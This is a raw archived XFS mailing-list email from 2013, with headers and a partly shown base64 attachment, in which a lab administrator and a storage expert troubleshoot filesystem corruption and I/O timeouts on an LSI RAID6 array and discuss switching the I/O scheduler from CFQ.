:content-type; bh=JHBv5YBIeJR0YNsnBerCX6rDWKt8Git74zuI+DM/f+s=; b=ZFCCJOZme5pn4+yOe7dNCLZlkqG4cPe7wwMTBwfrTeLyZCo+ucCieOHv3mw8U/9W/f 7LQdOVXl5KXoHyQkDeMUkBPHbePS/RpeMnUFxvcomxxiaGyJLpO2CNj8dLGeCxZXw+pB eFsF6uWWHxIFl5r64zrsCRmX5HN5wexi/ueQT902ovYrqw3W70yyZQBGX5qspn3zpiug r4NQA19ewOG17lUfb2MQ+Sg200uaoEk49b6anZpIntN743S/x7YpCjFtvzSM3AAcCobA 4vitMIb2omTvk9MNzOw0J+G2oskjOQee/mQMow+mK2x4vgXi8/wWrscywGINIhGTBfkT y/pQ== X-Received: by 10.180.80.233 with SMTP id u9mr12584070wix.6.1386259127756; Thu, 05 Dec 2013 07:58:47 -0800 (PST) MIME-Version: 1.0 Received: by 10.194.205.136 with HTTP; Thu, 5 Dec 2013 07:58:06 -0800 (PST) In-Reply-To: References: <52A03513.6030408@hardwarefreak.com> From: Mike Dacre Date: Thu, 5 Dec 2013 07:58:06 -0800 Message-ID: Subject: Fwd: Sudden File System Corruption To: xfs@oss.sgi.com X-ASG-Orig-Subj: Fwd: Sudden File System Corruption Content-Type: multipart/mixed; boundary=f46d04428770e298a604eccb9add X-Barracuda-Connect: mail-wg0-f50.google.com[74.125.82.50] X-Barracuda-Start-Time: 1386259128 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.10 X-Barracuda-Spam-Status: No, SCORE=0.10 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_SA085, BSF_SC5_SA210e, DKIM_SIGNED, DKIM_VERIFIED, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142863 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.00 HTML_MESSAGE BODY: HTML included in message 0.10 BSF_SC0_SA085 Custom Rule SA085 0.00 BSF_SC5_SA210e Custom Rule SA210e --f46d04428770e298a604eccb9add Content-Type: multipart/alternative; boundary=f46d04428770e298a104eccb9adb --f46d04428770e298a104eccb9adb Content-Type: text/plain; charset=UTF-8 Hi Stan, On Thu, Dec 5, 2013 at 12:10 AM, Stan Hoeppner wrote: > On 12/4/2013 8:55 PM, Mike Dacre wrote: > ... > > I have a 16 2TB drive RAID6 array powered by an LSI 9240-4i. It has an > XFS. > > It's a 9260-4i, not a 9240, a huge difference. I went digging through > your dmesg output because I knew the 9240 doesn't support RAID6. A few > questions. What is the LSI RAID configuration? > You are right, sorry. 9260-4i 1. Level -- confirm RAID6 > Definitely RAID6 2. Strip size? (eg 512KB) > 64KB 3. Stripe size? (eg 7168KB, 14*256) > Not sure how to get this 4. BBU module? > Yes. iBBU, state optimal, 97% charged. 5. Is write cache enabled? > > Yes: Cahced IO and Write Back with BBU are enabled. I have also attached an adapter summary (megaraid_adp_info.txt) and a virtual and physical drive summary (megaraid_drive_info.txt). > What is the XFS geometry? > > 5. xfs_info /dev/sda > `xfs_info /dev/sda1` meta-data =/dev/sda1 isize=256 agcount=26, agsize=268435455 blks = sectsz=512 attr=2 data = bsize=4096 blocks=6835404288, imaxpct=5 = sunit=0 swidth=0 blks naming =version 2 bsize=4096 ascii-ci=0 log =internal bsize=4096 blocks=521728, version=2 = sectsz=512 sunit=0 blks, lazy-count=1 realtime =none extsz=4096 blocks=0, rtextents=0 This is also attached as xfs_info.txt > A combination of these these being wrong could very well be part of your > problems. > > ... > > IO errors when any requests were made. This happened while it was being > > I didn't see any IO errors in your dmesg output. None. > > Good point. These happened while trying to ls. I am not sure why I can't find them in the log, they printed out to the console as 'Input/Output' errors, simply stating that the ls command failed. > > accessed by 5 different users, one was doing a very large rm operation > (rm > > *sh on thousands on files in a directory). Also, about 30 minutes before > > we had connected the globus connect endpoint to allow easy file transfers > > to SDSC. > > With delaylog enabled, which I believe it is in RHEL/CentOS 6, a single > big rm shouldn't kill the disks. But with the combination of other > workloads it seems you may have been seeking the disks to death. > That is possible, workloads can get really high sometimes. I am not sure how to control that without significantly impacting performance - I want a single user to be able to use 98% IO capacity sometimes... but other times I want the load to be split amongst many users. Also, each user can execute jobs simultaneously on 23 different computers, each acessing the same drive via NFS. This is a great system most of the time, but sometimes the workloads on the drive get really high. ... > > In the end, I successfully repaired the filesystem with `xfs_repair -L > > /dev/sda1`. However, I am nervous that some files may have been > corrupted. > > I'm sure your users will let you know. I'd definitely have a look in > the directory that was targeted by the big rm operation which apparently > didn't finish when XFS shutdown. > > > Do any of you have any idea what could have caused this problem? > > Yes. A few things. The first is this, and it's a big one: > > Dec 4 18:15:28 fruster kernel: io scheduler noop registered > Dec 4 18:15:28 fruster kernel: io scheduler anticipatory registered > Dec 4 18:15:28 fruster kernel: io scheduler deadline registered > Dec 4 18:15:28 fruster kernel: io scheduler cfq registered (default) > > > http://xfs.org/index.php/XFS_FAQ#Q:_I_want_to_tune_my_XFS_filesystems_for_.3Csomething.3E > > "As of kernel 3.2.12, the default i/o scheduler, CFQ, will defeat much > of the parallelization in XFS." > > *Never* use the CFQ elevator with XFS, and never with a high performance > storage system. In fact, IMHO, never use CFQ period. It was horrible > even before 3.2.12. It is certain that CFQ is playing a big part in > your 120s timeouts, though it may not be solely responsible for your IO > bottleneck. Switch to deadline or noop immediately, deadline if LSI > write cache is disabled, noop if it is enabled. Execute this manually > now, and add it to a startup script and verify it is being set at > startup, as it's not permanent: > > echo deadline > /sys/block/sda/queue/scheduler > > Wow, this is huge, I can't believe I missed that. I have switched it to noop now as we use write caching. I have been trying to figure out for a while why I would keep getting timeouts when the NFS load was high. If you have any other suggestions for how I can improve performance, I would greatly appreciate it. > This one simple command line may help pretty dramatically, immediately, > assuming your hardware array parameters aren't horribly wrong for your > workloads, and your XFS alignment correctly matches the hardware geometry. > > Great, thanks. Our workloads vary considerably as we are a biology research lab, sometimes we do lots of seeks, other times we are almost maxing out read or write speed with massively parallel processes all accessing the disk at the same time. > -- > Stan > > > -Mike --f46d04428770e298a104eccb9adb Content-Type: text/html; charset=UTF-8 Content-Transfer-Encoding: quoted-printable
Hi Stan,


On Thu, Dec 5, 2013 at 12:10 AM, Stan Hoeppner <stan@hardwarefreak= .com> wrote:
On 12/4/2013 8:55 PM, Mike Dacre wrote:
...
> I have a 16 2TB drive RAID6 array powered by an LSI 9240-4i. =C2=A0It = has an XFS.

It's a 9260-4i, not a 9240, a huge difference. =C2=A0I went digging thr= ough
your dmesg output because I knew the 9240 doesn't support RAID6. =C2=A0= A few
questions. =C2=A0What is the LSI RAID configuration?
= =C2=A0
You are right, sorry. =C2=A09260-4i

1. =C2=A0Level -- confirm RAID6
Definitely RAID6= =C2=A0

2. =C2=A0Strip size? =C2=A0(eg 512KB)
64KB=C2=A0=

3. =C2=A0Stripe size? (eg 7168KB, 14*256)
Not su= re how to get this=C2=A0

4. =C2=A0BBU module?
Yes. iBBU, state optimal, 97% cha= rged.=C2=A0

5. =C2=A0Is write cache enabled?

Yes: Cahced IO and Write Back with BBU are enab= led.

I have also attached an adapter summary (mega= raid_adp_info.txt) and a virtual and physical drive summary (megaraid_drive= _info.txt).=C2=A0
=C2=A0
What is the XFS geometry?

5. =C2=A0xfs_info /dev/sda

`= xfs_info /dev/sda1`
meta-data =3D/dev/sda1 =C2=A0 =C2=A0 =C2=A0 = =C2=A0 =C2=A0isize=3D256 =C2=A0 =C2=A0agcount=3D26, agsize=3D268435455 blks=
=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0=3D =C2= =A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 = =C2=A0 sectsz=3D512 =C2=A0 attr=3D2
data =C2=A0 =C2=A0 =C2=A0 =C2=A0 =3D =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2= =A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 bsize=3D4096 =C2=A0 bl= ocks=3D6835404288, imaxpct=3D5
=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0= =C2=A0 =C2=A0 =C2=A0=3D =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 = =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 sunit=3D0 =C2=A0 =C2=A0 =C2=A0swidth=3D0= blks
naming =C2=A0 =C2=A0=3Dversion 2 =C2=A0 =C2=A0 =C2=A0 =C2= =A0 =C2=A0 =C2=A0bsize=3D4096 =C2=A0 ascii-ci=3D0
log =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0=3Dinternal =C2=A0 =C2=A0 =C2=A0= =C2=A0 =C2=A0 =C2=A0 =C2=A0 bsize=3D4096 =C2=A0 blocks=3D521728, version= =3D2
=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =3D =C2=A0 = =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2= =A0 =C2=A0sectsz=3D512 =C2=A0 sunit=3D0 blks, lazy-count=3D1
real= time =C2=A0 =3Dnone =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0= =C2=A0 extsz=3D4096 =C2=A0 blocks=3D0, rtextents=3D0

This is also attached as xfs_info.txt=C2=A0
=


A combination of these these being wrong could very well be part of your problems.

...
> IO errors when any requests were made. =C2=A0This happened while = it was being

I didn't see any IO errors in your dmesg output. =C2=A0None.

Good point. =C2=A0These happened whi= le trying to ls. =C2=A0I am not sure why I can't find them in the log, = they printed out to the console as 'Input/Output' errors, simply st= ating that the ls command failed.
=C2=A0
> accessed by =C2=A05 different users, one was doing a very large rm ope= ration (rm
> *sh on thousands on files in a directory). =C2=A0Also, about 30 minute= s before
> we had connected the globus connect endpoint to allow easy file transf= ers
> to SDSC.

With delaylog enabled, which I believe it is in RHEL/CentOS 6, a sing= le
big rm shouldn't kill the disks. =C2=A0But with the combination of othe= r
workloads it seems you may have been seeking the disks to death.
That is possible, workloads can get really high sometimes.= =C2=A0I am not sure how to control that without significantly impacting pe= rformance - I want a single user to be able to use 98% IO capacity sometime= s... but other times I want the load to be split amongst many users. =C2=A0= Also, each user can execute jobs simultaneously on 23 different computers, = each acessing the same drive via NFS. =C2=A0This is a great system most of = the time, but sometimes the workloads on the drive get really high.=C2=A0

...
> In the end, I successfully repaired the filesystem with `xfs_repa= ir -L
> /dev/sda1`. =C2=A0However, I am nervous that some files may have been = corrupted.

I'm sure your users will let you know. =C2=A0I'd definitely h= ave a look in
the directory that was targeted by the big rm operation which apparently didn't finish when XFS shutdown.

> Do any of you have any idea what could have caused this problem?

Yes. =C2=A0A few things. =C2=A0The first is this, and it's a big = one:

Dec =C2=A04 18:15:28 fruster kernel: io scheduler noop registered
Dec =C2=A04 18:15:28 fruster kernel: io scheduler anticipatory registered Dec =C2=A04 18:15:28 fruster kernel: io scheduler deadline registered
Dec =C2=A04 18:15:28 fruster kernel: io scheduler cfq registered (default)<= br>
http://xfs.org/index.php/XFS_F= AQ#Q:_I_want_to_tune_my_XFS_filesystems_for_.3Csomething.3E

"As of kernel 3.2.12, the default i/o scheduler, CFQ, will defeat much=
of the parallelization in XFS."

*Never* use the CFQ elevator with XFS, and never with a high performance storage system. =C2=A0In fact, IMHO, never use CFQ period. =C2=A0It was hor= rible
even before 3.2.12. =C2=A0It is certain that CFQ is playing a big part in your 120s timeouts, though it may not be solely responsible for your IO
bottleneck. =C2=A0Switch to deadline or noop immediately, deadline if LSI write cache is disabled, noop if it is enabled. =C2=A0Execute this manually=
now, and add it to a startup script and verify it is being set at
startup, as it's not permanent:

echo deadline > /sys/block/sda/queue/scheduler

Wow, this is huge, I can't believe I missed= that. =C2=A0I have switched it to noop now as we use write caching. =C2=A0= I have been trying to figure out for a while why I would keep getting timeo= uts when the NFS load was high. =C2=A0If you have any other suggestions for= how I can improve performance, I would greatly appreciate it.
=C2=A0
This one simple command line may help pretty dramatically, immediately,
assuming your hardware array parameters aren't horribly wrong for your<= br> workloads, and your XFS alignment correctly matches the hardware geometry.<= br>
Gre= at, thanks. =C2=A0Our workloads vary considerably as we are a biology resea= rch lab, sometimes we do lots of seeks, other times we are almost maxing ou= t read or write speed with massively parallel processes all accessing the d= isk at the same time.
=C2=A0
--
Stan



-Mike=C2=A0


--f46d04428770e298a104eccb9adb-- --f46d04428770e298a604eccb9add Content-Type: text/plain; charset=US-ASCII; name="megaraid_adp_info.txt" Content-Disposition: attachment; filename="megaraid_adp_info.txt" Content-Transfer-Encoding: base64 X-Attachment-Id: f_hou6dsrm0 QWRhcHRlciAjMAoKPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09CiAgICAgICAgICAgICAgICAgICAgVmVy c2lvbnMKICAgICAgICAgICAgICAgID09PT09PT09PT09PT09PT0KUHJvZHVjdCBOYW1lICAgIDog TFNJIE1lZ2FSQUlEIFNBUyA5MjYwLTRpClNlcmlhbCBObyAgICAgICA6IFNWMTQ4MjE5NzIKRlcg UGFja2FnZSBCdWlsZDogMTIuMTQuMC0wMTY3CgogICAgICAgICAgICAgICAgICAgIE1mZy4gRGF0 YQogICAgICAgICAgICAgICAgPT09PT09PT09PT09PT09PQpNZmcuIERhdGUgICAgICAgOiAxMS8y NC8xMQpSZXdvcmsgRGF0ZSAgICAgOiAwMC8wMC8wMApSZXZpc2lvbiBObyAgICAgOiA2MUEKQmF0 dGVyeSBGUlUgICAgIDogTi9BCgogICAgICAgICAgICAgICAgSW1hZ2UgVmVyc2lvbnMgaW4gRmxh c2g6CiAgICAgICAgICAgICAgICA9PT09PT09PT09PT09PT09CkZXIFZlcnNpb24gICAgICAgICA6 IDIuMTMwLjM5My0yNTUxCkJJT1MgVmVyc2lvbiAgICAgICA6IDMuMjguMDBfNC4xNC4wNS4wMF8w eDA1MjcwMDAwClByZWJvb3QgQ0xJIFZlcnNpb246IDA0LjA0LTAyMDojJTAwMDA5CldlYkJJT1Mg VmVyc2lvbiAgICA6IDYuMC01Mi1lXzQ4LVJlbApOVkRBVEEgVmVyc2lvbiAgICAgOiAyLjA5LjAz LTAwNDUKQm9vdCBCbG9jayBWZXJzaW9uIDogMi4wMi4wMC4wMC0wMDAwCkJPT1QgVmVyc2lvbiAg ICAgICA6IDA5LjI1MC4wMS4yMTkKCiAgICAgICAgICAgICAgICBQZW5kaW5nIEltYWdlcyBpbiBG bGFzaAogICAgICAgICAgICAgICAgPT09PT09PT09PT09PT09PQpOb25lCgogICAgICAgICAgICAg ICAgUENJIEluZm8KICAgICAgICAgICAgICAgID09PT09PT09PT09PT09PT0KQ29udHJvbGxlciBJ ZAk6IDAwMDAKVmVuZG9yIElkICAgICAgIDogMTAwMApEZXZpY2UgSWQgICAgICAgOiAwMDc5ClN1 YlZlbmRvcklkICAgICA6IDEwMDAKU3ViRGV2aWNlSWQgICAgIDogOTI2MAoKSG9zdCBJbnRlcmZh Y2UgIDogUENJRQoKQ2hpcFJldmlzaW9uICAgIDogQjQKCkxpbmsgU3BlZWQgCSAgICAgOiAwIApO dW1iZXIgb2YgRnJvbnRlbmQgUG9ydDogMCAKRGV2aWNlIEludGVyZmFjZSAgOiBQQ0lFCgpOdW1i ZXIgb2YgQmFja2VuZCBQb3J0OiA0IApQb3J0ICA6ICBBZGRyZXNzCjAgICAgICAgIDUwMDMwNDgw MDEyOTQ5N2YgCjEgICAgICAgIDAwMDAwMDAwMDAwMDAwMDAgCjIgICAgICAgIDAwMDAwMDAwMDAw MDAwMDAgCjMgICAgICAgIDAwMDAwMDAwMDAwMDAwMDAgCgogICAgICAgICAgICAgICAgSFcgQ29u ZmlndXJhdGlvbgogICAgICAgICAgICAgICAgPT09PT09PT09PT09PT09PQpTQVMgQWRkcmVzcyAg ICAgIDogNTAwNjA1YjAwNDEzNzgyMApCQlUgICAgICAgICAgICAgIDogUHJlc2VudApBbGFybSAg ICAgICAgICAgIDogUHJlc2VudApOVlJBTSAgICAgICAgICAgIDogUHJlc2VudApTZXJpYWwgRGVi dWdnZXIgIDogUHJlc2VudApNZW1vcnkgICAgICAgICAgIDogUHJlc2VudApGbGFzaCAgICAgICAg ICAgIDogUHJlc2VudApNZW1vcnkgU2l6ZSAgICAgIDogNTEyTUIKVFBNICAgICAgICAgICAgICA6 IEFic2VudApPbiBib2FyZCBFeHBhbmRlcjogQWJzZW50ClVwZ3JhZGUgS2V5ICAgICAgOiBBYnNl bnQKVGVtcGVyYXR1cmUgc2Vuc29yIGZvciBST0MgICAgOiBBYnNlbnQKVGVtcGVyYXR1cmUgc2Vu c29yIGZvciBjb250cm9sbGVyICAgIDogQWJzZW50CgoKICAgICAgICAgICAgICAgIFNldHRpbmdz CiAgICAgICAgICAgICAgICA9PT09PT09PT09PT09PT09CkN1cnJlbnQgVGltZSAgICAgICAgICAg ICAgICAgICAgIDogNzoyMTo1NCAxMi81LCAyMDEzClByZWRpY3RpdmUgRmFpbCBQb2xsIEludGVy dmFsICAgIDogMzAwc2VjCkludGVycnVwdCBUaHJvdHRsZSBBY3RpdmUgQ291bnQgIDogMTYKSW50 ZXJydXB0IFRocm90dGxlIENvbXBsZXRpb24gICAgOiA1MHVzClJlYnVpbGQgUmF0ZSAgICAgICAg ICAgICAgICAgICAgIDogMzAlClBSIFJhdGUgICAgICAgICAgICAgICAgICAgICAgICAgIDogMzAl CkJHSSBSYXRlICAgICAgICAgICAgICAgICAgICAgICAgIDogMzAlCkNoZWNrIENvbnNpc3RlbmN5 IFJhdGUgICAgICAgICAgIDogMzAlClJlY29uc3RydWN0aW9uIFJhdGUgICAgICAgICAgICAgIDog MzAlCkNhY2hlIEZsdXNoIEludGVydmFsICAgICAgICAgICAgIDogNHMKTWF4IERyaXZlcyB0byBT cGludXAgYXQgT25lIFRpbWUgOiA0CkRlbGF5IEFtb25nIFNwaW51cCBHcm91cHMgICAgICAgIDog MnMKUGh5c2ljYWwgRHJpdmUgQ29lcmNpb24gTW9kZSAgICAgOiBEaXNhYmxlZApDbHVzdGVyIE1v ZGUgICAgICAgICAgICAgICAgICAgICA6IERpc2FibGVkCkFsYXJtICAgICAgICAgICAgICAgICAg ICAgICAgICAgIDogRW5hYmxlZApBdXRvIFJlYnVpbGQgICAgICAgICAgICAgICAgICAgICA6IEVu YWJsZWQKQmF0dGVyeSBXYXJuaW5nICAgICAgICAgICAgICAgICAgOiBFbmFibGVkCkVjYyBCdWNr ZXQgU2l6ZSAgICAgICAgICAgICAgICAgIDogMTUKRWNjIEJ1Y2tldCBMZWFrIFJhdGUgICAgICAg ICAgICAgOiAxNDQwIE1pbnV0ZXMKUmVzdG9yZSBIb3RTcGFyZSBvbiBJbnNlcnRpb24gICAgOiBE aXNhYmxlZApFeHBvc2UgRW5jbG9zdXJlIERldmljZXMgICAgICAgICA6IEVuYWJsZWQKTWFpbnRh aW4gUEQgRmFpbCBIaXN0b3J5ICAgICAgICAgOiBFbmFibGVkCkhvc3QgUmVxdWVzdCBSZW9yZGVy aW5nICAgICAgICAgIDogRW5hYmxlZApBdXRvIERldGVjdCBCYWNrUGxhbmUgRW5hYmxlZCAgICA6 IFNHUElPL2kyYyBTRVAKTG9hZCBCYWxhbmNlIE1vZGUgICAgICAgICAgICAgICAgOiBBdXRvClVz ZSBGREUgT25seSAgICAgICAgICAgICAgICAgICAgIDogTm8KU2VjdXJpdHkgS2V5IEFzc2lnbmVk ICAgICAgICAgICAgOiBObwpTZWN1cml0eSBLZXkgRmFpbGVkICAgICAgICAgICAgICA6IE5vClNl Y3VyaXR5IEtleSBOb3QgQmFja2VkdXAgICAgICAgIDogTm8KRGVmYXVsdCBMRCBQb3dlclNhdmUg UG9saWN5ICAgICAgOiBDb250cm9sbGVyIERlZmluZWQKTWF4aW11bSBudW1iZXIgb2YgZGlyZWN0 IGF0dGFjaGVkIGRyaXZlcyB0byBzcGluIHVwIGluIDEgbWluIDogMTIwIApBdXRvIEVuaGFuY2Vk IEltcG9ydCAgICAgICAgICAgICA6IFllcwpBbnkgT2ZmbGluZSBWRCBDYWNoZSBQcmVzZXJ2ZWQg ICA6IE5vCkFsbG93IEJvb3Qgd2l0aCBQcmVzZXJ2ZWQgQ2FjaGUgIDogTm8KRGlzYWJsZSBPbmxp bmUgQ29udHJvbGxlciBSZXNldCAgOiBObwpQRksgaW4gTlZSQU0gICAgICAgICAgICAgICAgICAg ICA6IE5vClVzZSBkaXNrIGFjdGl2aXR5IGZvciBsb2NhdGUgICAgIDogTm8KUE9TVCBkZWxheQkJ CSA6IDkwIHNlY29uZHMKQklPUyBFcnJvciBIYW5kbGluZyAgICAgICAgICAJIDogU3RvcCBPbiBF cnJvcnMKQ3VycmVudCBCb290IE1vZGUgCQkgIDpOb3JtYWwKICAgICAgICAgICAgICAgIENhcGFi aWxpdGllcwogICAgICAgICAgICAgICAgPT09PT09PT09PT09PT09PQpSQUlEIExldmVsIFN1cHBv cnRlZCAgICAgICAgICAgICA6IFJBSUQwLCBSQUlEMSwgUkFJRDUsIFJBSUQ2LCBSQUlEMDAsIFJB SUQxMCwgUkFJRDUwLCBSQUlENjAsIFBSTCAxMSwgUFJMIDExIHdpdGggc3Bhbm5pbmcsIFNSTCAz IHN1cHBvcnRlZCwgUFJMMTEtUkxRMCBEREYgbGF5b3V0IHdpdGggbm8gc3BhbiwgUFJMMTEtUkxR MCBEREYgbGF5b3V0IHdpdGggc3BhbgpTdXBwb3J0ZWQgRHJpdmVzICAgICAgICAgICAgICAgICA6 IFNBUywgU0FUQQoKQWxsb3dlZCBNaXhpbmc6CgpNaXggaW4gRW5jbG9zdXJlIEFsbG93ZWQKTWl4 IG9mIFNBUy9TQVRBIG9mIEhERCB0eXBlIGluIFZEIEFsbG93ZWQKTWl4IG9mIFNBUy9TQVRBIG9m IFNTRCB0eXBlIGluIFZEIEFsbG93ZWQKTWl4IG9mIFNTRC9IREQgaW4gVkQgQWxsb3dlZAoKICAg ICAgICAgICAgICAgIFN0YXR1cwogICAgICAgICAgICAgICAgPT09PT09PT09PT09PT09PQpFQ0Mg QnVja2V0IENvdW50ICAgICAgICAgICAgICAgICA6IDAKCiAgICAgICAgICAgICAgICBMaW1pdGF0 aW9ucwogICAgICAgICAgICAgICAgPT09PT09PT09PT09PT09PQpNYXggQXJtcyBQZXIgVkQgICAg ICAgICAgOiAzMiAKTWF4IFNwYW5zIFBlciBWRCAgICAgICAgIDogOCAKTWF4IEFycmF5cyAgICAg ICAgICAgICAgIDogMTI4IApNYXggTnVtYmVyIG9mIFZEcyAgICAgICAgOiA2NCAKTWF4IFBhcmFs bGVsIENvbW1hbmRzICAgIDogMTAwOCAKTWF4IFNHRSBDb3VudCAgICAgICAgICAgIDogODAgCk1h eCBEYXRhIFRyYW5zZmVyIFNpemUgICA6IDgxOTIgc2VjdG9ycyAKTWF4IFN0cmlwcyBQZXJJTyAg ICAgICAgIDogNDIgCk1heCBMRCBwZXIgYXJyYXkgICAgICAgICA6IDE2IApNaW4gU3RyaXAgU2l6 ZSAgICAgICAgICAgOiA4IEtCCk1heCBTdHJpcCBTaXplICAgICAgICAgICA6IDEuMCBNQgpNYXgg Q29uZmlndXJhYmxlIENhY2hlQ2FkZSBTaXplOiAwIEdCCkN1cnJlbnQgU2l6ZSBvZiBDYWNoZUNh ZGUgICAgICA6IDAgR0IKQ3VycmVudCBTaXplIG9mIEZXIENhY2hlICAgICAgIDogMzQ2IE1CCgog ICAgICAgICAgICAgICAgRGV2aWNlIFByZXNlbnQKICAgICAgICAgICAgICAgID09PT09PT09PT09 PT09PT0KVmlydHVhbCBEcml2ZXMgICAgOiAxIAogIERlZ3JhZGVkICAgICAgICA6IDAgCiAgT2Zm bGluZSAgICAgICAgIDogMCAKUGh5c2ljYWwgRGV2aWNlcyAgOiAxOCAKICBEaXNrcyAgICAgICAg ICAgOiAxNiAKICBDcml0aWNhbCBEaXNrcyAgOiAwIAogIEZhaWxlZCBEaXNrcyAgICA6IDAgCgog ICAgICAgICAgICAgICAgU3VwcG9ydGVkIEFkYXB0ZXIgT3BlcmF0aW9ucwogICAgICAgICAgICAg ICAgPT09PT09PT09PT09PT09PQpSZWJ1aWxkIFJhdGUgICAgICAgICAgICAgICAgICAgIDogWWVz CkNDIFJhdGUgICAgICAgICAgICAgICAgICAgICAgICAgOiBZZXMKQkdJIFJhdGUgICAgICAgICAg ICAgICAgICAgICAgICA6IFllcwpSZWNvbnN0cnVjdCBSYXRlICAgICAgICAgICAgICAgIDogWWVz ClBhdHJvbCBSZWFkIFJhdGUgICAgICAgICAgICAgICAgOiBZZXMKQWxhcm0gQ29udHJvbCAgICAg ICAgICAgICAgICAgICA6IFllcwpDbHVzdGVyIFN1cHBvcnQgICAgICAgICAgICAgICAgIDogTm8K QkJVICAgICAgICAgICAgICAgICAgICAgICAgICAgICA6IFllcwpTcGFubmluZyAgICAgICAgICAg ICAgICAgICAgICAgIDogWWVzCkRlZGljYXRlZCBIb3QgU3BhcmUgICAgICAgICAgICAgOiBZZXMK UmV2ZXJ0aWJsZSBIb3QgU3BhcmVzICAgICAgICAgICA6IFllcwpGb3JlaWduIENvbmZpZyBJbXBv cnQgICAgICAgICAgIDogWWVzClNlbGYgRGlhZ25vc3RpYyAgICAgICAgICAgICAgICAgOiBZZXMK QWxsb3cgTWl4ZWQgUmVkdW5kYW5jeSBvbiBBcnJheSA6IE5vCkdsb2JhbCBIb3QgU3BhcmVzICAg ICAgICAgICAgICAgOiBZZXMKRGVueSBTQ1NJIFBhc3N0aHJvdWdoICAgICAgICAgICA6IE5vCkRl bnkgU01QIFBhc3N0aHJvdWdoICAgICAgICAgICAgOiBObwpEZW55IFNUUCBQYXNzdGhyb3VnaCAg ICAgICAgICAgIDogTm8KU3VwcG9ydCBTZWN1cml0eSAgICAgICAgICAgICAgICA6IE5vClNuYXBz aG90IEVuYWJsZWQgICAgICAgICAgICAgICAgOiBObwpTdXBwb3J0IHRoZSBPQ0Ugd2l0aG91dCBh ZGRpbmcgZHJpdmVzIDogWWVzClN1cHBvcnQgUEZLICAgICAgICAgICAgICAgICAgICAgOiBZZXMK U3VwcG9ydCBQSSAgICAgICAgICAgICAgICAgICAgICA6IE5vClN1cHBvcnQgQm9vdCBUaW1lIFBG SyBDaGFuZ2UgICAgOiBObwpEaXNhYmxlIE9ubGluZSBQRksgQ2hhbmdlICAgICAgIDogTm8KUEZL IFRyYWlsVGltZSBSZW1haW5pbmcgICAgICAgICA6IDAgZGF5cyAwIGhvdXJzClN1cHBvcnQgU2hp ZWxkIFN0YXRlICAgICAgICAgICAgOiBObwpCbG9jayBTU0QgV3JpdGUgRGlzayBDYWNoZSBDaGFu Z2U6IE5vClN1cHBvcnQgT25saW5lIEZXIFVwZGF0ZQk6IFllcwoKICAgICAgICAgICAgICAgIFN1 cHBvcnRlZCBWRCBPcGVyYXRpb25zCiAgICAgICAgICAgICAgICA9PT09PT09PT09PT09PT09ClJl YWQgUG9saWN5ICAgICAgICAgIDogWWVzCldyaXRlIFBvbGljeSAgICAgICAgIDogWWVzCklPIFBv bGljeSAgICAgICAgICAgIDogWWVzCkFjY2VzcyBQb2xpY3kgICAgICAgIDogWWVzCkRpc2sgQ2Fj aGUgUG9saWN5ICAgIDogWWVzClJlY29uc3RydWN0aW9uICAgICAgIDogWWVzCkRlbnkgTG9jYXRl ICAgICAgICAgIDogTm8KRGVueSBDQyAgICAgICAgICAgICAgOiBObwpBbGxvdyBDdHJsIEVuY3J5 cHRpb246IE5vCkVuYWJsZSBMREJCTSAgICAgICAgIDogWWVzClN1cHBvcnQgQnJlYWttaXJyb3Ig IDogTm8KUG93ZXIgU2F2aW5ncyAgICAgICAgOiBObwoKICAgICAgICAgICAgICAgIFN1cHBvcnRl ZCBQRCBPcGVyYXRpb25zCiAgICAgICAgICAgICAgICA9PT09PT09PT09PT09PT09CkZvcmNlIE9u bGluZSAgICAgICAgICAgICAgICAgICAgICAgICAgICA6IFllcwpGb3JjZSBPZmZsaW5lICAgICAg ICAgICAgICAgICAgICAgICAgICAgOiBZZXMKRm9yY2UgUmVidWlsZCAgICAgICAgICAgICAgICAg ICAgICAgICAgIDogWWVzCkRlbnkgRm9yY2UgRmFpbGVkICAgICAgICAgICAgICAgICAgICAgICA6 IE5vCkRlbnkgRm9yY2UgR29vZC9CYWQgICAgICAgICAgICAgICAgICAgICA6IE5vCkRlbnkgTWlz c2luZyBSZXBsYWNlICAgICAgICAgICAgICAgICAgICA6IE5vCkRlbnkgQ2xlYXIgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICA6IE5vCkRlbnkgTG9jYXRlICAgICAgICAgICAgICAgICAgICAg ICAgICAgICA6IE5vClN1cHBvcnQgVGVtcGVyYXR1cmUgICAgICAgICAgICAgICAgICAgICA6IFll cwpEaXNhYmxlIENvcHliYWNrICAgICAgICAgICAgICAgICAgICAgICAgOiBObwpFbmFibGUgSkJP RCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgOiBObwpFbmFibGUgQ29weWJhY2sgb24gU01B 